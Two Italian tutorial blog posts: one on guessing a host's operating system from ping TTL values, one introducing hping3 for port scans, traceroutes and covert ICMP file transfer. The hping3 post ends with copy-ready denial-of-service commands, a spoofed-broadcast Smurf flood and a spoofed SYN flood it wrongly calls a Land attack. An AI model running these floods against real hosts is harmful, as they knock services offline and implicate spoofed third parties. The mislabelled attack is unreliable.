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martedì 6 luglio 2021

OS Fingerprinting: Individuare il sistema operativo attraverso il comando Ping

Ping (Packet internet groper) è un'utility di amministrazione per reti generalmente utilizzata per verificare la presenza e la raggiungibilità di un dispositivo di rete (Host) su una rete IP (Internet Protocol). 

Ping invia un pacchetto ICMP (Internet Control Message Protocol) di tipo Echo Request al sistema target e rimane in attesa di un pacchetto ICMP di tipo Echo Reply di risposta (solitamente la parte del sistema operativo dedicata alla gestione dello stack di rete è programmato per rispondere automaticamente con un pacchetto Echo Reply alla ricezione di un pacchetto Echo Request). In questo modo viene misurato il tempo, in millisecondi, impiegato da uno o  più pacchetti ICMP a raggiungere un dispositivo di rete e a ritornare indietro consentendo di misurare anche le latenze di trasmissione di rete.

Il Time to live (TTL) si riferisce alla quantità di tempo o salti (conosciuti anche con il termine HOPS e che rappresentano, in pratica, il numero di reti attraversate per raggiungere il destinatario) che un pacchetto è impostato per esistere all'interno di una rete prima di essere scartato da un router. I valori di default del TTL differiscono tra i vari sistemi operativi (si veda la tabella) il che consente di effettuare una prima ipotesi sul sistema operativo installato sull'host che si sta analizzando (OS fingerprinting).

Device / OSVersionProtocolTTL
AIX TCP60
AIX UDP30
AIX3.2, 4.1ICMP255
BSDIBSD/OS 3.1 and 4.0ICMP255
CompaTru64 v5.0ICMP64
Cisco ICMP254
DEC PathworksV5TCP and UDP30
Foundry ICMP64
FreeBSD2.1RTCP and UDP64
FreeBSD3.4, 4.0ICMP255
FreeBSD5ICMP64
HP-UX9.0xTCP and UDP30
HP-UX10.01TCP and UDP64
HP-UX10.2ICMP255
HP-UX11ICMP255
HP-UX11TCP64
Irix5.3TCP and UDP60
Irix6.xTCP and UDP60
Irix6.5.3, 6.5.8ICMP255
juniper ICMP64
MPE/IX (HP) ICMP200
Linux2.0.x kernelICMP64
Linux2.2.14 kernelICMP255
Linux2.4 kernelICMP255
LinuxRed Hat 9ICMP and TCP64
MacOS/MacTCP2.0.xTCP and UDP60
MacOS/MacTCPX (10.5.6)ICMP/TCP/UDP64
NetBSD ICMP255
Netgear FVG318 ICMP and UDP64
OpenBSD2.6 & 2.7ICMP255
OpenVMS07.01.2002ICMP255
OS/2TCP/IP 3.0 64
OSF/1V3.2ATCP60
OSF/1V3.2AUDP30
Solaris2.5.1, 2.6, 2.7, 2.8ICMP255
Solaris2.8TCP64
StratusTCP_OSICMP255
StratusTCP_OS (14.2-)TCP and UDP30
StratusTCP_OS (14.3+)TCP and UDP64
StratusSTCPICMP/TCP/UDP60
SunOS4.1.3/4.1.4TCP and UDP60
SunOS5.7ICMP and TCP255
UltrixV4.1/V4.2ATCP60
UltrixV4.1/V4.2AUDP30
UltrixV4.2 – 4.5ICMP255
VMS/Multinet TCP and UDP64
VMS/TCPware TCP60
VMS/TCPware UDP64
VMS/Wollongong1.1.1.1TCP128
VMS/Wollongong1.1.1.1UDP30
VMS/UCX TCP and UDP128
Windowsfor WorkgroupsTCP and UDP32
Windows95TCP and UDP32
Windows98ICMP32
Windows98, 98 SEICMP128
Windows98TCP128
WindowsNT 3.51TCP and UDP32
WindowsNT 4.0TCP and UDP128
WindowsNT 4.0 SP5- 32
WindowsNT 4.0 SP6+ 128
WindowsNT 4 WRKS SP 3, SP 6aICMP128
WindowsNT 4 Server SP4ICMP128
WindowsMEICMP128
Windows2000 proICMP/TCP/UDP128
Windows2000 familyICMP128
WindowsServer 2003 128
WindowsXPICMP/TCP/UDP128
WindowsVistaICMP/TCP/UDP128
Windows7ICMP/TCP/UDP128
WindowsServer 2008ICMP/TCP/UDP128
Windows10ICMP/TCP/UDP128


Per cercare di individuare il sistema operativo installato sull'Host target, basta eseguire un Ping. Supponiamo di voler analizzare un host che si trova sulla nostra stessa rete, il comando da eseguire sarà del tipo
ping 192.168.0.55
al posto dell'indirizzo IP possiamo utilizzare il nome Host.
Time to live 64
FIG 1 - Time to live 64


Come visibile in FIG 1, l'Host target ha risposto al ping con un TTL a 64 che, visionando i valori in tabella, ci fa desumere che siamo davanti ad un sistema *nix/Linux.
Questo è il caso più semplice infatti, trovandoci sulla stessa rete dell'Host target, il TTL non viene decrementato.

Quando l'Host target si trova su un'altra rete bisogna tener conto anche degli HOPS. Ad esempio, supponiamo di voler indagare sul sistema operativo che ospita il sito www.cisco.com.
Eseguiamo il ping verso il sito web
ping www.cisco.com 
Ping www.cisco.com
FIG 2 - Ping www.cisco.com


Il TTL restituito dal ping è 56 (FIG 2). Dato che mi aspetto si tratti di un sistema *nix/linux posso supporre che tra i due host, quello da cui è stato lanciato il comando e quello target, ci siano 8 router. Per verificarlo basta eseguire un traceroute.
In ambiente Windows il comando da eseguire è
tracert www.cisco.com
in ambiente linux il comando è
traceroute -n www.cisco.com
TraceRoute
FIG 3 - TraceRoute

Come visibile da FIG 3 tra i due host ci sono 8 router (il nono è l'indirizzo della macchina target).

I risultati ottenibili con questa tecnica non sono affidabili al 100% anche se si tratta del metodo meno invasivo e che da meno nell'occhio. Innanzitutto, come visibile in tabella, più sistemi operativi hanno lo stesso TTL inoltre i valori di default possono essere modificati. Risultati più attendibili possono essere ottenuti utilizzando tool come p0f, nmap e xprobe.




martedì 17 settembre 2019

Kali Linux: Introduzione a HPing3

HPing3 è un assemblatore/analizzatore di pacchetti TCP/IP a riga di comando. Oltre a supportare i protocolli TCP, UDP, ICMP e RAW-IP dispone di molte altre caratteristiche come la modalità traceroute e la possibilità di inviare file attraverso un canale "nascosto". Si tratta di un tool molto versatile che consente un controllo accurato su ogni flag del pacchetto.

Viene utilizzato per diversi scopi e contesti tra cui:
- Scansione avanzata porte:
- Test di firewall;
- Test di rete con l'utilizzo di diversi protocolli;
- Path MTU discovery
- Traceroute avanzato;
- Individuazione sistema operativo remoto (OS FingerPrinting);
- Individuazione tempo di attività di un sistema remoto;
- Controllo stack TCP/IP


HPing3 è già incluso in Kali Linux. Per visualizzare le opzioni e le modalità messe a disposizione del tool basta lanciare il seguente comando da terminale
hping3 -h 
usage: hping3 host [options]
  -h  --help      show this help
  -v  --version   show version
  -c  --count     packet count
  -i  --interval  wait (uX for X microseconds, for example -i u1000)
      --fast      alias for -i u10000 (10 packets for second)
      --faster    alias for -i u1000 (100 packets for second)
      --flood    sent packets as fast as possible. Don't show replies.
  -n  --numeric   numeric output
  -q  --quiet     quiet
  -I  --interface interface name (otherwise default routing interface)
  -V  --verbose   verbose mode
  -D  --debug     debugging info
  -z  --bind      bind ctrl+z to ttl           (default to dst port)
  -Z  --unbind    unbind ctrl+z
      --beep      beep for every matching packet received
Mode
  default mode     TCP
  -0  --rawip      RAW IP mode
  -1  --icmp       ICMP mode
  -2  --udp        UDP mode
  -8  --scan       SCAN mode.
                   Example: hping --scan 1-30,70-90 -S www.target.host
  -9  --listen     listen mode
IP
  -a  --spoof      spoof source address
  --rand-dest      random destionation address mode. see the man.
  --rand-source    random source address mode. see the man.
  -t  --ttl        ttl (default 64)
  -N  --id         id (default random)
  -W  --winid      use win* id byte ordering
  -r  --rel        relativize id field          (to estimate host traffic)
  -f  --frag       split packets in more frag.  (may pass weak acl)
  -x  --morefrag   set more fragments flag
  -y  --dontfrag   set don't fragment flag
  -g  --fragoff    set the fragment offset
  -m  --mtu        set virtual mtu, implies --frag if packet size > mtu
  -o  --tos        type of service (default 0x00), try --tos help
  -G  --rroute     includes RECORD_ROUTE option and display the route buffer
  --lsrr           loose source routing and record route
  --ssrr           strict source routing and record route
  -H  --ipproto    set the IP protocol field, only in RAW IP mode
ICMP
  -C  --icmptype   icmp type (default echo request)
  -K  --icmpcode   icmp code (default 0)
      --force-icmp send all icmp types (default send only supported types)
      --icmp-gw    set gateway address for ICMP redirect (default 0.0.0.0)
      --icmp-ts    Alias for --icmp --icmptype 13 (ICMP timestamp)
      --icmp-addr  Alias for --icmp --icmptype 17 (ICMP address subnet mask)
      --icmp-help  display help for others icmp options
UDP/TCP
  -s  --baseport   base source port             (default random)
  -p  --destport   [+][+] destination port(default 0) ctrl+z inc/dec
  -k  --keep       keep still source port
  -w  --win        winsize (default 64)
  -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)
  -Q  --seqnum     shows only tcp sequence number
  -b  --badcksum   (try to) send packets with a bad IP checksum
                   many systems will fix the IP checksum sending the packet
                   so you'll get bad UDP/TCP checksum instead.
  -M  --setseq     set TCP sequence number
  -L  --setack     set TCP ack
  -F  --fin        set FIN flag
  -S  --syn        set SYN flag
  -R  --rst        set RST flag
  -P  --push       set PUSH flag
  -A  --ack        set ACK flag
  -U  --urg        set URG flag
  -X  --xmas       set X unused flag (0x40)
  -Y  --ymas       set Y unused flag (0x80)
  --tcpexitcode    use last tcp->th_flags as exit code
  --tcp-mss        enable the TCP MSS option with the given value
  --tcp-timestamp  enable the TCP timestamp option to guess the HZ/uptime
Common
  -d  --data       data size                    (default is 0)
  -E  --file       data from file
  -e  --sign       add 'signature'
  -j  --dump       dump packets in hex
  -J  --print      dump printable characters
  -B  --safe       enable 'safe' protocol
  -u  --end        tell you when --file reached EOF and prevent rewind
  -T  --traceroute traceroute mode              (implies --bind and --ttl 1)
  --tr-stop        Exit when receive the first not ICMP in traceroute mode
  --tr-keep-ttl    Keep the source TTL fixed, useful to monitor just one hop
  --tr-no-rtt     Don't calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
  --apd-send       Send the packet described with APD (see docs/APD.txt)




Per visualizzare il manuale eseguire il comando
man hping3

Il protocollo di rete TCP (Transmission Control Protocol) fa parte del livello di trasporto e si occupa del controllo della trasmissione tra mittente e destinatario rendendola affidabile. La procedura utilizzata per instaurare in modo affidabile una connessione TCP tra due host è chiamata three-way handshake. Il nome deriva dalla necessità di scambiare tre messaggi tra il mittente e il destinatario al fine di stabilire una connessione affidabile.
  • Nel primo messaggio il client (mittente) invia un pacchetto TCP con flag SYN al server (destinatario) sulla porta dove si ritiene quest'ultimo in ascolto;
  • Se sulla porta in questione il server è realmente in ascolto, risponderà con un pacchetto con i flag SYN e ACK attivi (SYN/ACK);
  • Il client confermerà l'avvenuta connessione inviando al server un pacchetto con il flag ACK attivo.

TCP, Three-way Handshake
FIG 1 - TCP, Three-way Handshake

Tramite hping3 è possibile simulare il three-way handshake utilizzando un comando come il seguente 
hping3 -S -p 80 -c 1 server
-S indica l'invio di un pacchetto SYN.
-p Consente di specificare la porta di destinazione del pacchetto. In questo caso è stata specificata la porta 80 generalmente utilizzata nei server web.
-c Permette di specificare quanti pacchetti inviare. Nel comando sopra indicato viene inviato un solo pacchetto.
server Al suo posto va indicato l'indirizzo IP del server o il suo nome.
HPing3, Avvio three-way handshake tramite pacchetto SYN
FIG 2 - HPing3, Avvio three-way handshake tramite pacchetto SYN

Dalla risposta del server (FIG 2) possiamo recuperare informazioni utili:
  • flag=SA indica che i flag TCP sono attivi e il server ci ha risposto con SYN/ACK (la seconda fase della procedura three-way handshake).
  • TTL=64 Il campo TTL (Time To Live), della dimensione di un byte, fa parte del header IP ed è un meccanismo che determina il tempo di vita di un pacchetto. Quando un pacchetto viene inviato, tale campo viene valorizzato con un valore compreso tra 1 e 255. Ad ogni salto (router che il pacchetto attraversa) il valore TTL viene decrementato di una unità. Quanto il valore TTL diventa 0, il pacchetto viene cancellato e al mittente viene inviato un pacchetto ICMP di avviso del tipo Time Exceeded. Generalmente gli apparati di rete assegnano a TTL il valore 255, i sistemi GNU/Linux (e anche molti altri sistemi *nix) assegnano il valore 64 mentre i sistemi Windows valorizzano tale campo a 128.

Il tool HPing3 è molto versatile e di seguito vengono mostrati alcuni degli utilizzi più comuni.


Trasferire file tramite HPing3

Per trasferire un file tramite HPing3 è necessario che sia il mittente che il destinatario dispongano del tool installato.
Sulla postazione del destinatario è necessario indicare a HPing3 di rimanere in ascolto. Tale operazione si esegue lanciando il seguente comando da terminale
hping3 --listen 192.168.1.11 -I eth0 --sign IDMSG1
--listen indica che la postazione è in ascolto. L'IP da passare al parametro è quello della postazione locale che deve rimanere in ascolto (destinatario).
--sign permette di specificare una firma per il messaggio. 

Sulla postazione del mittente è possibile inviare il file tramite il comando
hping3 192.168.1.11 --icmp --sign IDMSG1 -d 100 -c 1 --file file.txt
L'indirizzo IP passato a HPing3 è quello del destinatario.
La firma passata a --sign deve essere uguale a quella definita sulla postazione del destinatario.
L'opzione -d indica la dimensione dei dati.
All'opzione --file va passato il nome del file da inviare.



Test ICMP

Il seguente comando esegue un normale ping verso la destinazione specificata
hping3 -1 google.com
HPing3, invio pacchetto ICMP (ping)
FIG 3 - HPing3, invio pacchetto ICMP (ping)



Traceroute tramite ICMP

HPing3 consente di eseguire un traceroute verso un target specifico utilizzando pacchetti ICMP e incrementando ogni volta di 1 il valore TTL. L'output del comando è simile a quello fornito da utility come tracert (in ambiente Windows) o traceroute (in ambiente Linux). L'opzione -V imposta un output dettagliato.
hping3 --traceroute -V -1 google.com

Il traceroute può essere eseguito anche verso una specifica porta.
hping3 --traceroute -V -S -p 80  google.com





Verifica porta tramite l'invio di un pacchetto Syn

Il comando è analogo a quello visto all'inizio di tale articolo
hping3 -V -S -p 80 server
Possiamo anche indicare, tramite l'opzione -s, la porta locale da cui far eseguire la scansione
hping3 -V -S -p 80 -s 4060 server



Chiudere la comunicazione tramite un pacchetto FIN

In una connessione TCP un pacchetto con flag FIN attivo viene utilizzato per avviare la routine di chiusura della connessione. Tramite il seguente comando e l'opzione -F è possibile inviare tale pacchetto ad un destinatario. Se non viene ricevuta alcuna risposta la porta è aperta. Nel caso di Firewall generalmente si riceve un pacchetto con i flag RST+ACK che indica la porta chiusa.
hping3 -c 1 -V -p 80 -s 4060 -F server


Xmas Scan

Con Xmas Scan viene impostato il numero di sequenza TCP a 0 e vengono attivati i flag URGPSH FIN all'interno del pacchetto. Se la porta TCP del destinatario è chiusa viene inviato un pacchetto TCP RST in risposta. Se la porta è aperta, il destinatario scarta il pacchetto TCP Xmas e non invia alcuna risposta.
hping3 -c 1 -V -p 80 -s 4060 -M 0 -UPF server



ACK Scan

Questo tipo di scansione può essere utilizzata per verificare la raggiungibilità di un dispositivo in rete quando il ping è bloccato. Nel caso la porta sia aperta si dovrebbe ricevere in risposta un pacchetto RST.
hping3 -c 1 -V -p 80 -s 4060 -A server


Null Scan

Con questo tipo di scansione viene impostato il numero sequenziale a 0 e nessun flag è attivo all'interno del pacchetto. Il pacchetto inviato prende il nome di TCP NULL. Se la porta TCP del destinatario è chiusa si riceve in risposta il pacchetto TCP RST. Se la porta è aperta il pacchetto TCP NULL viene scartato e non viene inviata alcuna risposta.
hping3 -c 1 -V -p 80 -s 4060 -Y server



Smurf Attack

Si tratta di un tipo di attacco DoS (denial-of-service). Il sistema destinatario viene inondato di messaggi ping inviati tramite uno spoofed broadcast.
hping3 -1 --flood -a IP_VITTIMA INDIRIZZO_BROADCAST


DOS Land Attack

Anche in questo caso siamo di fronte ad un attacco di tipo DoS. Si invia un numero elevato di pacchetti di una certa dimensione nel minor tempo possibile e con il flag SYN attivo.
hping3 -V -c 1000000 -d 120 -S -w 64 -p 445 -s 445 --flood --rand-source IP_VITTIMA
--flood: invia i pacchetti il più velocemente possibile e senza attendere una risposta.
--rand-source: permette di inviare pacchetti che sembrano provenire da IP diversi. Generalmente utilizzata per mettere in difficoltà i firewall.
-V  Verbose.
-c --count: numero di pacchetti da inviare.
-d --data: dimensione dei dati.
-S --syn: imposta il flag SYN attivo.
-w --win: winsize (default 64).
-p --destport: porta di destinazione.
-s --baseport: porta da cui viene inviato il pacchetto (default random).